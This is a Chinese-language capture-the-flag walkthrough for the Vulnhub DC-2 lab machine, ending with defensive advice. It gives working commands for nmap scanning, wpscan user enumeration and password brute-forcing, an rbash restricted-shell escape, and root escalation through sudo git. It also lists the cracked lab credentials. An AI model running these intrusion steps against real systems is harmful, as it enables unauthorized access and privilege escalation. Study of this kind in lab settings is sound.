Vulnhub靶机渗透测试之DC-2-WordPress
字数 1237 2025-08-15 21:33:02

DC-2 WordPress靶机渗透测试教学文档

环境准备

靶机下载与部署

  • 靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip
  • 解压后得到.ova文件,在VMware中导入
  • 靶机默认网络配置为NAT模式

攻击机配置

  • 推荐使用Kali Linux作为攻击机
  • 确保攻击机和靶机在同一网络段

信息收集阶段

网络扫描

  1. 使用nmap扫描发现靶机IP:

    nmap -sn 192.168.0.0/24
    

    发现靶机IP为192.168.0.131

  2. 详细端口扫描:

    nmap -sV -p- 192.168.0.131
    

    发现开放端口:

    • 80端口:HTTP服务
    • 7744端口:SSH服务

DNS解析问题处理

  1. 访问http://192.168.0.131时URL自动跳转为http://dc-2
  2. 需要修改hosts文件添加解析:
    echo "192.168.0.131 dc-2" | sudo tee -a /etc/hosts
    

WordPress站点分析

初始发现

  1. 访问http://dc-2发现是WordPress站点
  2. 找到第一个flag1,提示:
    通常的密码字典可能不起作用,所以也许你只需要cewl。
    另外,你可能需要找到一个用户名才能登录。
    

密码字典生成

使用cewl工具爬取网站生成字典:

cewl http://dc-2/ -w dc-2.txt

检查字典行数:

wc -l dc-2.txt

用户名枚举

使用wpscan扫描WordPress用户:

wpscan --url dc-2 -e u

发现三个用户:

  • admin
  • jerry
  • tom

暴力破解

准备文件

创建用户名单文件dc-2-user.txt:

admin
jerry
tom

执行爆破

wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2.txt

成功爆破出密码:

  • jerry/adipiscing
  • tom/parturient

WordPress后台渗透

  1. 访问后台登录页面:http://dc-2/wp-login.php
  2. 使用jerry用户登录
  3. 在Pages部分找到flag2,提示:
    如果你不能利用WordPress,还有另一种方法。
    希望您找到了其他入口点。
    

SSH登录尝试

  1. 尝试使用爆破出的凭据登录SSH(端口7744):

    ssh tom@dc-2 -p 7744
    

    密码:parturient

  2. jerry用户被拒绝SSH登录,只有tom可以登录

绕过受限shell(rbash)

  1. 登录后发现只有4个命令可用,处于受限shell环境
  2. 绕过方法:
    BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    
  3. 成功读取flag3:
    Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
    
    提示使用su切换到jerry用户

用户切换

  1. 切换到jerry用户:

    su jerry
    

    密码:adipiscing

  2. 读取flag4,提示与git相关

Git提权

检查sudo权限

sudo -l

发现jerry可以以root身份无密码执行git命令

提权方法

方法1:

sudo git -p help
!/bin/bash

方法2:

sudo git help config
在末行命令模式输入:
!'sh'
!/bin/bash

成功获取root权限和最终flag

知识点总结

  1. WordPress渗透

    • 后台登录路径/wp-login.php
    • wpscan工具使用
    • 用户名枚举和密码爆破
  2. 密码生成

    • cewl工具使用场景和方法
  3. 受限shell绕过

    • 环境变量修改技巧
    • PATH变量扩展
  4. 权限提升

    • su命令切换用户
    • git的sudo提权方法
  5. 信息收集

    • nmap扫描技巧
    • DNS解析问题处理

参考工具

  1. nmap - 网络扫描工具
  2. cewl - 网站内容爬取和字典生成工具
  3. wpscan - WordPress专用扫描工具
  4. ssh - 远程登录工具
  5. git - 版本控制工具(用于提权)

防御建议

  1. 限制WordPress用户枚举
  2. 使用强密码策略
  3. 限制SSH登录用户
  4. 合理配置sudo权限
  5. 及时更新WordPress和插件
DC-2 WordPress靶机渗透测试教学文档 环境准备 靶机下载与部署 靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip 解压后得到.ova文件,在VMware中导入 靶机默认网络配置为NAT模式 攻击机配置 推荐使用Kali Linux作为攻击机 确保攻击机和靶机在同一网络段 信息收集阶段 网络扫描 使用nmap扫描发现靶机IP: 发现靶机IP为192.168.0.131 详细端口扫描: 发现开放端口: 80端口:HTTP服务 7744端口:SSH服务 DNS解析问题处理 访问http://192.168.0.131时URL自动跳转为http://dc-2 需要修改hosts文件添加解析: WordPress站点分析 初始发现 访问http://dc-2发现是WordPress站点 找到第一个flag1,提示: 密码字典生成 使用cewl工具爬取网站生成字典: 检查字典行数: 用户名枚举 使用wpscan扫描WordPress用户: 发现三个用户: admin jerry tom 暴力破解 准备文件 创建用户名单文件dc-2-user.txt: 执行爆破 成功爆破出密码: jerry/adipiscing tom/parturient WordPress后台渗透 访问后台登录页面:http://dc-2/wp-login.php 使用jerry用户登录 在Pages部分找到flag2,提示: SSH登录尝试 尝试使用爆破出的凭据登录SSH(端口7744): 密码:parturient jerry用户被拒绝SSH登录,只有tom可以登录 绕过受限shell(rbash) 登录后发现只有4个命令可用,处于受限shell环境 绕过方法: 成功读取flag3: 提示使用su切换到jerry用户 用户切换 切换到jerry用户: 密码:adipiscing 读取flag4,提示与git相关 Git提权 检查sudo权限 发现jerry可以以root身份无密码执行git命令 提权方法 方法1: 方法2: 成功获取root权限和最终flag 知识点总结 WordPress渗透 : 后台登录路径/wp-login.php wpscan工具使用 用户名枚举和密码爆破 密码生成 : cewl工具使用场景和方法 受限shell绕过 : 环境变量修改技巧 PATH变量扩展 权限提升 : su命令切换用户 git的sudo提权方法 信息收集 : nmap扫描技巧 DNS解析问题处理 参考工具 nmap - 网络扫描工具 cewl - 网站内容爬取和字典生成工具 wpscan - WordPress专用扫描工具 ssh - 远程登录工具 git - 版本控制工具(用于提权) 防御建议 限制WordPress用户枚举 使用强密码策略 限制SSH登录用户 合理配置sudo权限 及时更新WordPress和插件